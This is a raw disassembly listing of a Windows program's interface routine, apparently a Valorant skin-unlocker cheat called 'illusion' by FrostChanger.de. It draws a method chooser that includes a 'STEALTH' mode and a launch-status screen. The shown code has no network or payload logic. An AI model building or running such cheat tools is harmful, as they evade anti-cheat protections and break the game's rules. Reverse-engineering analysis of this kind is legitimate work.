ucomiss xmm0, xmm12
jp 0x140073cc0
jne 0x140073cc0
mov eax, dword [rcx + 0x150]
mov dword [rcx + 0x154], eax
mov rcx, qword [0x1406636f8]
movss xmm2, dword [rcx + 0x94]
movaps xmm1, xmm12
lea rcx, [rsp + 0x4b0]
call fcn.140001c70
lea rdx, [rsp + 0x4b0]
mov rcx, qword [0x140663710]
call fcn.140011ab0
mov rax, qword [0x1406636f8]
movss xmm2, dword [rax + 0x148]
mov rax, qword [rsp + 0x280]
mulss xmm2, dword [rax]
xor edx, edx
mov rcx, qword [0x140663710]
call fcn.140011550
mov rax, qword [0x1406636f8]
cmp dword [rax + 0x154], 2
jne 0x14007490a
mov rcx, qword [0x140663710]
call fcn.140011b90
mov rax, qword [0x140663708]
movss xmm2, dword [rax + 4]
movss xmm6, dword [0x1401ff364]
subss xmm2, xmm6
movss xmm1, dword [0x1401ff38c]
lea rcx, [rsp + 0x448]
call fcn.140001c70
lea rdx, str.INFO
lea rcx, [rsp + 0xa40]
call fcn.14001a3d0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [rsp + 0x448]
lea rdx, [rsp + 0x80]
mov rcx, qword [0x140663710]
call fcn.140016f20
movaps xmm2, xmm14
mov rdx, qword [0x140663700]
mov rcx, qword [0x140663710]
call fcn.140011510
mov edi, eax
movss xmm2, dword [0x1401ff310]
movss xmm1, dword [0x1401ff328]
lea rcx, [rsp + 0x7c0]
call fcn.140001c70
mov rbx, rax
lea rcx, [rsp + 0x7c8]
call fcn.140046f90
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x7d0]
call fcn.14006f260
mov rcx, qword [0x140663708]
mov r8, qword [rcx + 0xb0]
mov qword [rsp + 0x48], r14
movss dword [rsp + 0x40], xmm12
mov qword [rsp + 0x38], r14
lea rbx, str.illusion__
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
movss xmm3, dword [r8 + 0x14]
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.140009ec0
mov rdx, qword [0x140663700]
add rdx, 0x90
movaps xmm2, xmm14
mov rcx, qword [0x140663710]
call fcn.140011510
mov edi, eax
movss dword [rsp + 0x20], xmm7
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
lea rcx, [rsp + 0x7d8]
call fcn.14003de30
movss xmm1, dword [rax]
addss xmm1, dword [0x1401ff328]
movss xmm2, dword [0x1401ff314]
lea rcx, [rsp + 0x7e0]
call fcn.140001c70
mov rbx, rax
lea rcx, [rsp + 0x7e8]
call fcn.140046f90
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x7f0]
call fcn.14006f260
mov rcx, qword [0x140663708]
mov r8, qword [rcx + 0xc8]
mov qword [rsp + 0x48], r14
movss dword [rsp + 0x40], xmm12
mov qword [rsp + 0x38], r14
lea rcx, str.Valorant_Unlock_All_Tool_by_FrostChanger.de
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
movss xmm3, dword [r8 + 0x14]
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.140009ec0
mov rdx, qword [0x140663700]
add rdx, 0xa0
movaps xmm2, xmm14
mov rcx, qword [0x140663710]
call fcn.140011510
mov edi, eax
movss xmm2, dword [0x1401ff330]
movss xmm1, dword [0x1401ff328]
lea rcx, [rsp + 0x7f8]
call fcn.140001c70
mov rbx, rax
lea rcx, [rsp + 0x800]
call fcn.140046f90
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x808]
call fcn.14006f260
mov rcx, qword [0x140663708]
mov r8, qword [rcx + 0xb0]
movss xmm3, dword [r8 + 0x14]
subss xmm3, xmm14
mov qword [rsp + 0x48], r14
movss dword [rsp + 0x40], xmm12
mov qword [rsp + 0x38], r14
lea rcx, str.illusion___the_mysterious_app_that_lets_you_transform_nyour_Valorant_skins_into_whatever_you_desire__nalways_Dreamin_in_the_illusion.
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.140009ec0
movss xmm2, dword [0x1401ff358]
movss xmm1, dword [0x1401ff328]
lea rcx, [rsp + 0x4f8]
call fcn.140001c70
lea rdx, [rsp + 0x4f8]
mov rcx, qword [0x140663710]
call fcn.140011ab0
mov rcx, qword [0x140663710]
call fcn.140011b90
lea rcx, [rsp + 0xc9]
call fcn.1400053e0
mov rbx, rax
mov rdx, qword [0x140663708]
mov rcx, qword [rdx + 0x98]
mov qword [rsp + 0x110], rcx
mov rcx, qword [rdx + 0xa0]
mov qword [rsp + 0x118], rcx
mov rcx, qword [rdx + 0xa8]
mov qword [rsp + 0x120], rcx
lea r8, [rsp + 0x128]
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x638]
call fcn.14002c1e0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
mov r8, rbx
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x1d0]
call fcn.14007a460
nop
mov esi, r14d
lea rcx, [rsp + 0x1d0]
call fcn.14007a450
test rax, rax
je 0x1400741b7
mov rdi, r14
movss xmm15, dword [0x1401ff334]
movss xmm13, dword [0x1401ff2e4]
movss xmm11, dword [0x1401ff308]
movss xmm9, dword [0x1401ff34c]
mov rdx, qword [0x140663700]
add rdx, 0x10
movaps xmm2, xmm14
mov rcx, qword [0x140663710]
call fcn.140011510
mov ebx, eax
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rsp + 0x390]
call fcn.140001c70
movaps xmm2, xmm12
movaps xmm1, xmm12
lea rcx, [rsp + 0x398]
call fcn.140001c70
movaps xmm2, xmm15
movaps xmm1, xmm9
lea rcx, [rsp + 0x3a0]
call fcn.140001c70
mov rdx, rdi
lea rcx, [rsp + 0x1d0]
call fcn.14007a440
movss dword [rsp + 0x30], xmm13
mov dword [rsp + 0x28], ebx
lea rcx, [rsp + 0x390]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x398]
lea r8, [rsp + 0x3a0]
mov rdx, qword [rax]
mov rcx, qword [0x140663710]
call fcn.140018110
movaps xmm2, xmm11
movaps xmm1, xmm12
mov rcx, qword [0x140663710]
call fcn.1400118c0
inc esi
movsxd rdi, esi
lea rcx, [rsp + 0x1d0]
call fcn.14007a450
cmp rdi, rax
jb 0x1400740c1
movdqa xmm9, xmmword [0x1401ffac0]
movdqa xmm11, xmmword [0x1401ff640]
movdqa xmm13, xmmword [0x1401ff760]
movdqa xmm15, xmmword [0x1401ff6c0]
lea rcx, [rsp + 0x1d0]
call fcn.140029dd0
mov rcx, qword [0x140663710]
call fcn.140011cd0
mov rcx, qword [0x140663710]
call fcn.140017060
movaps xmm2, xmm12
movaps xmm1, xmm12
mov rcx, qword [0x140663710]
call fcn.1400118c0
mov rax, qword [0x140663708]
movss xmm2, dword [rax + 4]
subss xmm2, xmm6
movss xmm1, dword [0x1401ff37c]
lea rcx, [rsp + 0x3a8]
call fcn.140001c70
lea rdx, str.STATUS
lea rcx, [rsp + 0x338]
call fcn.14001a3d0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [rsp + 0x3a8]
lea rdx, [rsp + 0x80]
mov rcx, qword [0x140663710]
call fcn.140016f20
movss xmm2, dword [0x1401ff304]
movaps xmm1, xmm12
lea rcx, [rsp + 0x3b0]
call fcn.140001c70
lea r8, [rsp + 0x3b0]
mov edx, recv
mov rcx, qword [0x140663710]
call fcn.1400115d0
lea rcx, [rsp + 0xca]
call fcn.1400053e0
mov rbx, rax
mov rdx, qword [0x140663700]
add rdx, 0x40
movaps xmm2, xmm14
mov rcx, qword [0x140663710]
call fcn.140011510
mov dword [rsp + 0x70], eax
mov rdx, qword [0x140663700]
add rdx, 0x50
movaps xmm2, xmm14
mov rcx, qword [0x140663710]
call fcn.140011510
mov dword [rsp + 0x74], eax
mov rdx, qword [0x140663700]
add rdx, 0x60
movaps xmm2, xmm14
mov rcx, qword [0x140663710]
call fcn.140011510
mov dword [rsp + 0x78], eax
lea r8, [rsp + 0x7c]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x1b0]
call fcn.14002c1e0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
mov r8, rbx
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0xa8]
call fcn.14007a830
nop
movss xmm1, dword [0x1401ff310]
mov rcx, qword [0x140663710]
call fcn.140011b50
mov dword [rsp + 0xa0], 0x43610000
mov dword [rsp + 0xa4], 0x42340000
mov rax, qword [rsp + 0xa8]
mov ebx, dword [rax]
mov rax, qword [0x1406636f8]
mov rcx, qword [rax + 0x110]
call fcn.1400073b0
mov qword [rsp + 0x1a0], rax
mov rcx, 0xffffffffffffffff
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140074390
mov qword [rsp + 0x1a8], rcx
mov rax, qword [0x1406636f8]
mov rcx, qword [rax + 0xf8]
call fcn.1400073b0
mov qword [rsp + 0x190], rax
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400743c3
mov qword [rsp + 0x198], rcx
mov rax, qword [0x1406636f8]
mov rcx, qword [rax + 0xe0]
call fcn.1400073b0
mov qword [rsp + 0x180], rax
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400743f6
mov qword [rsp + 0x188], rcx
mov rax, qword [0x1406636f8]
mov rcx, qword [rax + 0xc8]
call fcn.1400073b0
mov qword [rsp + 0x170], rax
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140074430
mov qword [rsp + 0x178], rcx
mov rax, qword [0x1406636f8]
mov rcx, qword [rax + 0xb0]
call fcn.1400073b0
mov qword [rsp + 0x160], rax
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x140074463
mov qword [rsp + 0x168], rcx
movaps xmm0, xmmword [rsp + 0x1a0]
movdqa xmmword [rsp + 0x280], xmm0
movaps xmm1, xmmword [rsp + 0x190]
movdqa xmmword [rsp + 0x370], xmm1
movaps xmm0, xmmword [rsp + 0x180]
movdqa xmmword [rsp + 0x1d0], xmm0
movaps xmm1, xmmword [rsp + 0x170]
movdqa xmmword [rsp + 0x110], xmm1
movaps xmm0, xmmword [rsp + 0x160]
movdqa xmmword [rsp + 0x80], xmm0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], ebx
lea rax, [rsp + 0x280]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x370]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1d0]
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x80]
mov rcx, qword [0x140663710]
call fcn.140018850
mov dword [rsp + 0xa0], 0x43610000
mov dword [rsp + 0xa4], 0x42340000
mov rax, qword [rsp + 0xa8]
mov ebx, dword [rax + 4]
mov rax, qword [0x1406636f8]
mov rcx, qword [rax + 0x110]
add rcx, 0x20
call fcn.1400073b0
mov qword [rsp + 0x1a0], rax
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx], 0
jne 0x140074560
mov qword [rsp + 0x1a8], rcx
mov rax, qword [0x1406636f8]
mov rcx, qword [rax + 0xf8]
add rcx, 0x20
call fcn.1400073b0
mov qword [rsp + 0x190], rax
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x140074597
mov qword [rsp + 0x198], rcx
mov rax, qword [0x1406636f8]
mov rcx, qword [rax + 0xe0]
add rcx, 0x20
call fcn.1400073b0
mov qword [rsp + 0x180], rax
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400745d0
mov qword [rsp + 0x188], rcx
mov rax, qword [0x1406636f8]
mov rcx, qword [rax + 0xc8]
add rcx, 0x20
call fcn.1400073b0
mov qword [rsp + 0x170], rax
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x140074607
mov qword [rsp + 0x178], rcx
mov rax, qword [0x1406636f8]
mov rcx, qword [rax + 0xb0]
add rcx, 0x20
call fcn.1400073b0
mov qword [rsp + 0x160], rax
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx], 0
jne 0x140074640
mov qword [rsp + 0x168], rcx
movaps xmm0, xmmword [rsp + 0x1a0]
movdqa xmmword [rsp + 0x280], xmm0
movaps xmm1, xmmword [rsp + 0x190]
movdqa xmmword [rsp + 0x370], xmm1
movaps xmm0, xmmword [rsp + 0x180]
movdqa xmmword [rsp + 0x1d0], xmm0
movaps xmm1, xmmword [rsp + 0x170]
movdqa xmmword [rsp + 0x110], xmm1
movaps xmm0, xmmword [rsp + 0x160]
movdqa xmmword [rsp + 0x80], xmm0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], ebx
lea rax, [rsp + 0x280]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x370]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1d0]
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x80]
mov rcx, qword [0x140663710]
call fcn.140018850
mov dword [rsp + 0xa0], 0x43610000
mov dword [rsp + 0xa4], 0x42340000
mov rax, qword [rsp + 0xa8]
mov ebx, dword [rax + 8]
mov rax, qword [0x1406636f8]
mov rcx, qword [rax + 0x110]
add rcx, 0x40
call fcn.1400073b0
mov qword [rsp + 0x1a0], rax
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140074740
mov qword [rsp + 0x1a8], rcx
mov rax, qword [0x1406636f8]
mov rcx, qword [rax + 0xf8]
add rcx, 0x40
call fcn.1400073b0
mov qword [rsp + 0x190], rax
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x140074777
mov qword [rsp + 0x198], rcx
mov rax, qword [0x1406636f8]
mov rcx, qword [rax + 0xe0]
add rcx, 0x40
call fcn.1400073b0
mov qword [rsp + 0x180], rax
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400747b0
mov qword [rsp + 0x188], rcx
mov rax, qword [0x1406636f8]
mov rcx, qword [rax + 0xc8]
add rcx, 0x40
call fcn.1400073b0
mov qword [rsp + 0x170], rax
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400747e7
mov qword [rsp + 0x178], rcx
mov rax, qword [0x1406636f8]
mov rcx, qword [rax + 0xb0]
add rcx, 0x40
call fcn.1400073b0
mov qword [rsp + 0x160], rax
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx], 0
jne 0x140074820
mov qword [rsp + 0x168], rcx
movaps xmm0, xmmword [rsp + 0x1a0]
movdqa xmmword [rsp + 0x280], xmm0
movaps xmm1, xmmword [rsp + 0x190]
movdqa xmmword [rsp + 0x370], xmm1
movaps xmm0, xmmword [rsp + 0x180]
movdqa xmmword [rsp + 0x1d0], xmm0
movaps xmm1, xmmword [rsp + 0x170]
movdqa xmmword [rsp + 0x110], xmm1
movaps xmm0, xmmword [rsp + 0x160]
movdqa xmmword [rsp + 0x80], xmm0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], ebx
lea rax, [rsp + 0x280]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x370]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1d0]
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x80]
mov rcx, qword [0x140663710]
call fcn.140018850
nop
lea rcx, [rsp + 0xa8]
call fcn.14002a440
mov edx, r12d
mov rcx, qword [0x140663710]
call fcn.140011660
mov rcx, qword [0x140663710]
call fcn.140017060
mov rcx, qword [0x140663710]
call fcn.140011cd0
mov edx, r12d
mov rcx, qword [0x140663710]
call fcn.140011660
movss xmm1, dword [rsp + 0x6c]
mov rax, qword [0x1406636f8]
subss xmm1, dword [rax + 0x12c]
movss xmm0, dword [rsp + 0x68]
subss xmm0, dword [0x1401ff344]
movss dword [rsp + 0x2a0], xmm0
movss dword [rsp + 0x2a4], xmm1
lea rdx, [rsp + 0x2a0]
mov rcx, qword [0x140663710]
call fcn.140011ab0
mov dword [rsp + 0x2a8], 0x3ecccccd
mov dword [rsp + 0x2ac], 0x3f000000
mov dword [rsp + 0x2b0], 0x42c80000
mov dword [rsp + 0x2b4], 0x42c80000
lea r9, [rsp + 0x2a8]
lea r8, [rsp + 0x2b0]
lea rdx, [0x1401f9880]
mov rcx, qword [0x140663710]
call fcn.140018420
test al, al
je 0x140074eef
mov rax, qword [0x1406636f8]
mov dword [rax + 0x140], 2
jmp 0x140074eef
cmp ecx, 2
jne 0x140074f36
mov rdx, qword [0x140663700]
add rdx, 0x10
movaps xmm2, xmm14
mov rcx, qword [0x140663710]
call fcn.140011510
mov edi, eax
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rsp + 0x3b8]
call fcn.140001c70
movaps xmm2, xmm12
movaps xmm1, xmm12
lea rcx, [rsp + 0x3c0]
call fcn.140001c70
movss xmm1, dword [rsp + 0x68]
subss xmm1, dword [0x1401ff328]
movss xmm2, dword [0x1401ff334]
lea rcx, [rsp + 0x810]
call fcn.140001c70
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x650]
call fcn.14006f260
mov rbx, rax
movss xmm1, dword [rsp + 0x68]
subss xmm1, dword [0x1401ff33c]
movss xmm2, dword [0x1401ff310]
lea rcx, [rsp + 0x658]
call fcn.140001c70
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x660]
call fcn.14006f260
mov rcx, qword [0x140663708]
mov dword [rsp + 0x48], r14d
movss xmm0, dword [0x1401ff2f0]
movss dword [rsp + 0x40], xmm0
mov dword [rsp + 0x38], edi
lea rdx, [rsp + 0x3b8]
mov qword [rsp + 0x30], rdx
lea rdx, [rsp + 0x3c0]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rbx
mov r9, rax
mov r8, qword [rcx + 0x90]
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.14000a050
mov rcx, qword [0x1406636f8]
add rcx, 0x60
call fcn.1400073b0
mov rdi, rax
mov rdx, qword [0x140663700]
add rdx, 0x90
movaps xmm2, xmm14
mov rcx, qword [0x140663710]
call fcn.140011510
mov ebx, eax
mov rcx, qword [0x1406636f8]
add rcx, 0x60
call fcn.1400073b0
mov rdx, rax
movss dword [rsp + 0x20], xmm7
xor r9d, r9d
xor r8d, r8d
lea rcx, [rsp + 0x668]
call fcn.14003de30
movss xmm6, dword [0x1401ff344]
subss xmm6, dword [rax + 4]
mulss xmm6, xmm8
mov rcx, qword [0x1406636f8]
add rcx, 0x60
call fcn.1400073b0
mov rdx, rax
movss dword [rsp + 0x20], xmm7
xor r9d, r9d
xor r8d, r8d
lea rcx, [rsp + 0x670]
call fcn.14003de30
movss xmm0, dword [rax]
addss xmm0, dword [0x1401ff35c]
movss xmm1, dword [rsp + 0x68]
subss xmm1, xmm0
movaps xmm2, xmm6
lea rcx, [rsp + 0x678]
call fcn.140001c70
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x680]
call fcn.14006f260
mov rcx, qword [0x140663708]
mov r8, qword [rcx + 0xb8]
mov qword [rsp + 0x48], r14
movss dword [rsp + 0x40], xmm12
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
movss xmm3, dword [r8 + 0x14]
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.140009ec0
movss xmm2, dword [0x1401ff344]
movaps xmm1, xmm12
lea rcx, [rsp + 0x3c8]
call fcn.140001c70
lea rdx, [rsp + 0x3c8]
mov rcx, qword [0x140663710]
call fcn.140011ab0
mov rax, qword [0x140663708]
movss xmm2, dword [rax + 4]
subss xmm2, dword [0x1401ff364]
movss xmm1, dword [rax]
lea rcx, [rsp + 0x3d0]
call fcn.140001c70
lea rdx, str.LOADING
lea rcx, [rsp + 0x148]
call fcn.14001a3d0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [rsp + 0x3d0]
lea rdx, [rsp + 0x80]
mov rcx, qword [0x140663710]
call fcn.140016f20
movss xmm2, dword [0x1401ff22c]
movaps xmm1, xmm8
lea rcx, [rsp + 0x3d8]
call fcn.140001c70
mov rdx, qword [0x140663700]
add rdx, 0x50
movaps xmm2, xmm14
mov rcx, qword [0x140663710]
call fcn.140011510
mov ebx, eax
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x688]
call fcn.14006f260
mov rcx, qword [0x140663708]
mov qword [rsp + 0x50], r14
lea rdx, [rsp + 0x3d8]
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
lea rdx, [0x1401f9878]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
mov r8, qword [rcx + 0xe0]
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.140009620
movaps xmm2, xmm8
movaps xmm1, xmm8
lea rcx, [rsp + 0x3e0]
call fcn.140001c70
mov rdx, qword [0x140663700]
add rdx, 0x90
movaps xmm2, xmm14
mov rcx, qword [0x140663710]
call fcn.140011510
mov ebx, eax
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x690]
call fcn.14006f260
mov rcx, qword [0x140663708]
mov qword [rsp + 0x50], r14
lea rdx, [rsp + 0x3e0]
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
lea rdx, str.Choose_method__instructions_on_Discord__Illusion_Guide_.
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
mov r8, qword [rcx + 0xb0]
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.140009620
movss xmm1, dword [rsp + 0x68]
subss xmm1, dword [0x1401ff388]
mulss xmm1, xmm8
movss xmm2, dword [0x1401ff35c]
lea rcx, [rsp + 0x3e8]
call fcn.140001c70
lea rdx, [rsp + 0x3e8]
mov rcx, qword [0x140663710]
call fcn.140011ab0
movss xmm2, dword [0x1401ff320]
movss xmm6, dword [0x1401ff368]
movaps xmm1, xmm6
lea rcx, [rsp + 0x3f0]
call fcn.140001c70
lea r8, [rsp + 0x3f0]
lea rdx, str.Method_1
mov rcx, qword [0x140663710]
call fcn.1400173f0
test al, al
je 0x140074e62
mov rax, qword [0x1406636f8]
mov dword [rax + 0x140], 3
movss xmm1, dword [rsp + 0x68]
subss xmm1, xmm12
mulss xmm1, xmm8
movss xmm2, dword [0x1401ff35c]
lea rcx, [rsp + 0x3f8]
call fcn.140001c70
lea rdx, [rsp + 0x3f8]
mov rcx, qword [0x140663710]
call fcn.140011ab0
movss xmm2, dword [0x1401ff320]
movaps xmm1, xmm6
lea rcx, [rsp + 0x400]
call fcn.140001c70
lea r8, [rsp + 0x400]
lea rdx, str.Method_2__STEALTH_
mov rcx, qword [0x140663710]
call fcn.1400173f0
test al, al
je 0x140074ee3
mov rax, qword [0x1406636f8]
mov dword [rax + 0x140], 4
mov rcx, qword [0x140663710]
call fcn.140017060
mov edx, r12d
mov rcx, qword [0x140663710]
call fcn.140011660
movss xmm2, dword [0x1401ff2e4]
mov rax, qword [0x1406634a0]
divss xmm2, dword [rax + 0xd4]
mov rax, qword [0x1406636f8]
cmp dword [rax + 0x144], 1
jne 0x140079397
movss xmm1, dword [0x1401ff384]
jmp 0x14007939d
cmp ecx, 3
jne 0x1400770fb
mov rdx, qword [0x140663700]
add rdx, 0x10
movaps xmm2, xmm14
mov rcx, qword [0x140663710]
call fcn.140011510
mov edi, eax
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rsp + 0x408]
call fcn.140001c70
movaps xmm2, xmm12
movaps xmm1, xmm12
lea rcx, [rsp + 0x410]
call fcn.140001c70
movss xmm1, dword [rsp + 0x68]
subss xmm1, dword [0x1401ff328]
movss xmm2, dword [0x1401ff334]
lea rcx, [rsp + 0x698]
call fcn.140001c70
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x6a0]
call fcn.14006f260
mov rbx, rax
movss xmm1, dword [rsp + 0x68]
subss xmm1, dword [0x1401ff33c]
movss xmm2, dword [0x1401ff310]
lea rcx, [rsp + 0x6a8]
call fcn.140001c70
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x6b0]
call fcn.14006f260
mov rcx, qword [0x140663708]
mov dword [rsp + 0x48], r14d
movss xmm0, dword [0x1401ff2f0]
movss dword [rsp + 0x40], xmm0
mov dword [rsp + 0x38], edi
lea rdx, [rsp + 0x408]
mov qword [rsp + 0x30], rdx
lea rdx, [rsp + 0x410]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rbx
mov r9, rax
mov r8, qword [rcx + 0x90]
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.14000a050
mov rcx, qword [0x1406636f8]
add rcx, 0x60
call fcn.1400073b0
mov rdi, rax
mov rdx, qword [0x140663700]
add rdx, 0x90
movaps xmm2, xmm14
mov rcx, qword [0x140663710]
call fcn.140011510
mov ebx, eax
mov rcx, qword [0x1406636f8]
add rcx, 0x60
call fcn.1400073b0
mov rdx, rax
movss dword [rsp + 0x20], xmm7
xor r9d, r9d
xor r8d, r8d
lea rcx, [rsp + 0x6b8]
call fcn.14003de30
movss xmm6, dword [0x1401ff344]
subss xmm6, dword [rax + 4]
mulss xmm6, xmm8
mov rcx, qword [0x1406636f8]
add rcx, 0x60
call fcn.1400073b0
mov rdx, rax
movss dword [rsp + 0x20], xmm7
xor r9d, r9d
xor r8d, r8d
lea rcx, [rsp + 0x6c0]
call fcn.14003de30
movss xmm0, dword [rax]
addss xmm0, dword [0x1401ff35c]
movss xmm1, dword [rsp + 0x68]
subss xmm1, xmm0
movaps xmm2, xmm6
lea rcx, [rsp + 0x6c8]
call fcn.140001c70
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x2f8]
call fcn.14006f260
mov rcx, qword [0x140663708]
mov r8, qword [rcx + 0xb8]
mov qword [rsp + 0x48], r14
movss dword [rsp + 0x40], xmm12
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
movss xmm3, dword [r8 + 0x14]
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.140009ec0
movss xmm2, dword [0x1401ff344]
movaps xmm1, xmm12
lea rcx, [rsp + 0x418]
call fcn.140001c70
lea rdx, [rsp + 0x418]
mov rcx, qword [0x140663710]
call fcn.140011ab0
mov rax, qword [0x140663708]
movss xmm2, dword [rax + 4]
subss xmm2, dword [0x1401ff364]
movss xmm1, dword [rax]
lea rcx, [rsp + 0x420]
call fcn.140001c70
lea rdx, str.LOADING
lea rcx, [rsp + 0x130]
call fcn.14001a3d0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [rsp + 0x420]
lea rdx, [rsp + 0x80]
mov rcx, qword [0x140663710]
call fcn.140016f20
cmp byte [0x1406636e0], 0
jne 0x140074ee3
mov byte [0x1406636e0], 1
movss xmm2, dword [0x1401ff22c]
movaps xmm1, xmm8
lea rcx, [rsp + 0x10d0]
call fcn.140001c70
mov rdx, qword [0x140663700]
add rdx, 0x50
movaps xmm2, xmm14
mov rcx, qword [0x140663710]
call fcn.140011510
mov ebx, eax
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x2f8]
call fcn.14006f260
mov rcx, qword [0x140663708]
mov qword [rsp + 0x50], r14
lea rdx, [rsp + 0x10d0]
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
lea rdx, [0x1401f9878]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
mov r8, qword [rcx + 0xe0]
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.140009620
movaps xmm2, xmm8
movaps xmm1, xmm8
lea rcx, [rsp + 0x10d8]
call fcn.140001c70
mov rdx, qword [0x140663700]
add rdx, 0x90
movaps xmm2, xmm14
mov rcx, qword [0x140663710]
call fcn.140011510
mov ebx, eax
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x10d0]
call fcn.14006f260
mov rcx, qword [0x140663708]
mov qword [rsp + 0x50], r14
lea rdx, [rsp + 0x10d8]
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
lea rdx, str.Successfully__Your_game_is_launching_now...
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
mov r8, qword [rcx + 0xb0]
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.140009620
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0x500]
lea rcx, [rsp + 0x10d0]
call fcn.1400799a0
